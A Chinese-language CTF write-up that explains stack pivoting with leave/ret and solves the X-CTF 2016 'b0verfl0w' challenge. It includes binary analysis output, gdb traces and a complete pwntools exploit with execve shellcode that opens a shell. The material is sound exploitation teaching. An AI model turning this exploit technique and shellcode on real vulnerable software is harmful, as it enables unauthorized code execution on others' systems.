栈迁移初识
- 当我们栈溢出可用字节较少, 可以考虑进行栈迁移
- 程序开启了 PIE 保护机制,栈地址未知,我们可以将栈劫持到已知的地址
- 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用
让我们来深入了解 leave 和 ret 指令
一般在函数的结尾处,我们会看到 leave 和 ret 指令
leave 指令等价于
正常情况下 leave 指令的行为

ret 指令返回到 rsp 指向的地址(栈顶)的地址
当前函数的 rbp 寄存器会存储上一层函数的 rbp, rbp+8 则存储返回地址
当我们使用 leave 指令时,实际上是将当前函数的栈帧清理掉,并将栈指针恢复到上一层函数的栈帧位置
函数的返回地址会被保留在栈中,ret 指令会将控制权转移到这个地址
可以发现,返回地址与 rbp 似乎存在一定的映射关系
那么我们可以通过覆盖 rbp + 使用两次 leave ret 的方式来控制程序的控制流
如图所示

例题
stackprivot
安全检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| ~/P/c/p/l/u/s/s/X-CTF Quals 2016 - b0verfl0w ❯❯❯ pwn checksec ./b0verfl0w (.venv) master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w/b0verfl0w'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
~/P/c/p/l/u/s/s/X-CTF Quals 2016 - b0verfl0w ❯❯❯ readelf -l ./b0verfl0w (.venv) master ✱ ◼
Elf 文件类型为 EXEC (可执行文件)
Entry point 0x8048400
There are 9 program headers, starting at offset 52
程序头:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x007b8 0x007b8 R E 0x1000
LOAD 0x000f08 0x08049f08 0x08049f08 0x00124 0x00160 RW 0x1000
DYNAMIC 0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x00068c 0x0804868c 0x0804868c 0x0003c 0x0003c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1
Section to Segment mapping:
段节...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .jcr .dynamic .got
|
发现 STACK 是有可执行权限的
反编译伪代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| int vul()
{
char s[32]; // [esp+18h] [ebp-20h] BYREF
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(s, 50, stdin);
printf("Hello %s.", s);
fflush(stdout);
return 1;
}
|
可溢出字节 0x32 - (0x20 + 0x4) = 0xe = 14
考虑在栈中布置 shellcode,但是最短的 shellcode 是 23 个字节的,这里不符合条件
只有短短的 14 个字节我们考虑使用栈迁移
寻找相关 gadget
1
2
3
4
5
6
7
8
| ~/P/c/p/l/u/s/s/X-CTF Quals 2016 - b0verfl0w ❯❯❯ ROPgadget --binary ./b0verfl0w --only "leave|ret" (.venv) master ✱ ◼
Gadgets information
============================================================
0x08048468 : leave ; ret
0x0804836a : ret
0x0804847e : ret 0xeac1
Unique gadgets found: 3
|
发现特殊函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| .text:080484FD ; =============== S U B R O U T I N E =======================================
.text:080484FD
.text:080484FD ; Attributes: bp-based frame
.text:080484FD
.text:080484FD ; void hint()
.text:080484FD public hint
.text:080484FD hint proc near
.text:080484FD ; __unwind {
.text:080484FD push ebp
.text:080484FE mov ebp, esp
.text:08048500 sub esp, 24h
.text:08048503 retn
.text:08048503 hint endp ; sp-analysis failed
.text:08048503
.text:08048504 ; ---------------------------------------------------------------------------
.text:08048504 jmp esp
.text:08048506 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS CTRL-NUMPAD+ TO EXPAND]
|
hint 函数先对栈帧进行了跳转,sub esp, 24h 使得栈帧生长了 0x24 字节大小, 最后返回
使用 gdb 调试查看默认 esp - 0x24 的地址
1
2
3
4
5
6
7
8
9
| pwndbg> tele $esp-0x24
00:0000│-030 0xffffcae8 ◂— 'aaaabbbbccccdddd\n'
01:0004│-02c 0xffffcaec ◂— 'bbbbccccdddd\n'
02:0008│-028 0xffffcaf0 ◂— 'ccccdddd\n'
03:000c│-024 0xffffcaf4 ◂— 'dddd\n'
04:0010│-020 0xffffcaf8 ◂— 0xa /* '\n' */
05:0014│-01c 0xffffcafc ◂— 0
06:0018│-018 0xffffcb00 ◂— 0
07:001c│-014 0xffffcb04 —▸ 0xffffcbd4 —▸ 0xffffce21 ◂— '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w/b0verfl0w'
|
当执行到 ret 指令时,我们发现 esp - 0x24 的位置恰好是我们输入的位置
我们可以在返回地址填入下面的地址来使得 esp 指向我们的输入
1
2
| .text:08048500 sub esp, 24h
.text:08048503 retn
|
此时 rip 指向 retn 指令, retn 指令执行后会使得 esp + 4
我们的上文的 -02c 填入以下地址
esp 就会指向上文中 -028 的位置,这里我们正好可以布置 shellcode
可使用空间大小为 36 个字节
payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| from pwn import *
context.arch = "i386"
p = process("./b0verfl0w")
context.terminal = ["kitty", "@", "launch", "--type=window"]
shellcode = asm(
"""
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
"""
)
print(shellcode)
print("Length:", len(shellcode))
p.recvuntil("What's your name?")
payload = p32(0) + p32(0x08048504) + shellcode
payload = payload.ljust(36, b"\x00")
payload += p32(0x08048500)
print("Payload length:", len(payload))
# gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()
|